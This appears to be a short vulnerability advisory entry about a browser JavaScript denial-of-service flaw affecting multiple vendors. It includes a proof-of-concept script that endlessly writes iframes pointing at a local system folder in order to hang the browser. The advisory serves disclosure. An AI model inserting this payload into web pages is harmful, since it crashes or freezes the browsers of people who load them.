• info
• discussion
• exploit
• solution
• references

Multiple Vendor Web Browser JavaScript Denial Of Service Vulnerability

An exploit is not required. Example JavaScript code sufficient to exploit this vulnerability was provided:

<scr1pt language="JavaScript">
while(true)
{
document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
}
</scr1pt>